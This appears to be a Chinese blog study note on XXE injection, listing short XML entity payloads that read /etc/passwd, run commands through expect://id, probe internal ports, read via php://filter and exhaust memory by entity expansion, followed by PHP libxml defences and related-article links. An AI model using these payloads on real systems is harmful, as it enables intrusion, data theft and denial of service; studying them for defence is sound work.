一、探测漏洞

1、是否支持实体解析。

2、是否支持外部实体解析。

2.1 直接读取本地文件:

2.2 远程文件:

3、不回显错误,则用 blind xxe。(先获取本地数据,然后带着本地数据去访问恶意网站。)

二、攻击 

读取文件
<!ENTITY xxe SYSTEM "file://etc/passwd"> 执行系统命令
<!ENTITY xxe SYSTEM "expect://id"> 探测内网端口
<!ENTITY xxe SYSTEM "http://192.168.1.1:81"> 攻击内部网站:
<!ENTITY xxe SYSTEM 内网地址+payload> 访问获取内部网站获取内容(文件包含“<”、“&”等字符会失败,base64编码绕过):
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.1"> 拒绝服务攻击(有些xml解析器是将xml文档一次性载入内存,实体循环引用可恶意消耗内存造成拒绝服务攻击):
<!ENTITY xxe "xxe"> <!ENTITY xxe1 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">

三、使用CDATA避免窃取的数据中含有“<”和“&”而导致解析出错。

<!DOCTYPE A [
<!ENTITY start "<![CDATA[">
<!ENTITY pass SYSTEM "file:///etc/passwd">
<!ENTITY end "]]>">
<!ENTITY data "&start;&pass;&end;">
]>
<xxe>&data;</xxe>

四、防御

4.1 simplexml_load_string()函数的解析问题出现在libxml库上(libxml高版本默认不解析实体),在使用前调用:

libxml_disable_entity_loader(true);

4.2  XMLReader 和 DOM方式解析:

// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);

高版本的php由于libxml的变化,默认不解析外部实体(https://stackoverflow.com/questions/10212752/how-can-i-use-phps-various-xml-libraries-to-get-dom-like-functionality-and-avoi/10213239#10213239)。

The underlying library for php's xml libraries is libxml2. It's behavior is controlled from php mostly through optional constants which most libraries will accept as an argument when loading the xml.

You can determine your php's libxml2 version with echo LIBXML_DOTTED_VERSION;

In later versions (after 2.6), libxml2 contains entity substitution limits designed to prevent both exponential and quadratic attacks. These can be overridden with the LIBXML_PARSEHUGE option.

By default libxml2 does not load a dtd, add default attributes, or perform entity substitution. So the default behavior is to ignore dtds.

You can turn parts of this on like so:

LIBXML_DTDLOAD will load dtds.
LIBXML_NONET will disable network-loading of dtds. You should always have this on and use libxml's dtd catalog to load dtds.
LIBXML_DTDVALID will perform dtd validation while parsing.
LIBXML_NOENT will perform entity substitution.
LIBXML_DTDATTR will add default attributes.
So using the default settings PHP/libxml2 are probably not vulnerable to any of these issues, but the only way to know for sure is to test.

  

需要使用常量LIBXML_NOENT(解析实体)。(http://php.net/manual/zh/libxml.constants.php)

https://gist.github.com/staaldraad/01415b990939494879b4

https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/

https://le4f.net/post/post/xxe-injection-attack_and_prevent

[web 安全] xxe的更多相关文章

  1. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  2. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  3. [WEB安全]XXE漏洞总结

    目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 0x ...

  4. WEB漏洞——XXE

    XXE漏洞又称XML外部实体注入(XML External Entity) 介绍XXE漏洞前先说一下什么是XML XML语言 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据定义数据类 ...

  5. XML External Entity attack

    解析外部xml给本地带来的安全隐患. https://en.wikipedia.org/wiki/XML_external_entity_attack An XML External Entity ( ...

  6. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  7. XML外部实体注入[转载]

    前言 对于xxe,深入的太少,一般做题也是复制payload再修改,没有了解过内部的结构规范等.这里转载了一篇先知社区的文章,排版了一下适合博客样式.文章总结的很好,结合了很多篇的博客文章,看完也是对 ...

  8. 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含

    前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...

  9. WEB安全番外第三篇--关于XXE

    一.什么是XXE 1.XML实体简介 (1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用.在XML中有一种结构叫做实体: ...

随机推荐

  1. [CSP-S模拟测试]:炼金术士的疑惑(模拟+数学+高斯消元)

    题目传送门(内部题70) 输入格式 第一行一个正整数$n$,表示炼金术士已知的热化学方程式数量.接下来$n$行,每行一个炼金术士已知的热化学方程式.最后一行一个炼金术士想要求解的热化学方程式,末尾记为 ...

  2. 修改docker默认网段

    一. 修改普通docker run启动的容器的网段 https://blog.51cto.com/13670314/2345518?source=dra https://blog.csdn.net/w ...

  3. shell中的=~的简单用法

    其中 ~ 其实是对后面的正则表达式表示匹配的意思,如果匹配就输出1, 不匹配就输出0 [[ $test =~ ^[0-9]+ ]] && echo 1 || echo 0

  4. 移动端轮播完整版css3加原生写法

    <!doctype html><html><head> <meta charset="UTF-8"> <meta name=& ...

  5. linux中的udev(unix devices)

    最开始的时候,linux预先定义了很多种设备文件,(不管这种设备是否存在), 在/dev/下 但是即使这些设备文件不存在, 这样/dev下的文件就会很多, 而且像upan在插拔顺序不同, 所对应的映射 ...

  6. HDFS——完全分布式搭建

    架构 NN--namenode SNN--secondnamenode DN--datanode hadoop_env.sh中修改JAVA_HOME core-site.xml <propert ...

  7. Vue实现音乐播放器(二)-Vue-cli脚手架安装

  8. 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_09 序列化流_4_transient关键字_瞬态关键字

    不想被序列化的成员变量用 transient修饰 age加上static关键字 反序列化age就读取不到正确的值了

  9. Week1 - 169.Majority Element

    这周刚开始讲了一点Divide-and-Conquer的算法,于是这周的作业就选择在LeetCode上找分治法相关的题目来做. 169.Majority Element Given an array ...

  10. oracle 11g 数据库恢复技术 ---03 补充日志

    三 补充日志(supplemental logging) 补充日志是对重做记录中变更矢量的补充信息,增加了变更矢量记载的记录量.Oracle某些功能要求启用补充日志才能正常或更好的工作,比如logmi ...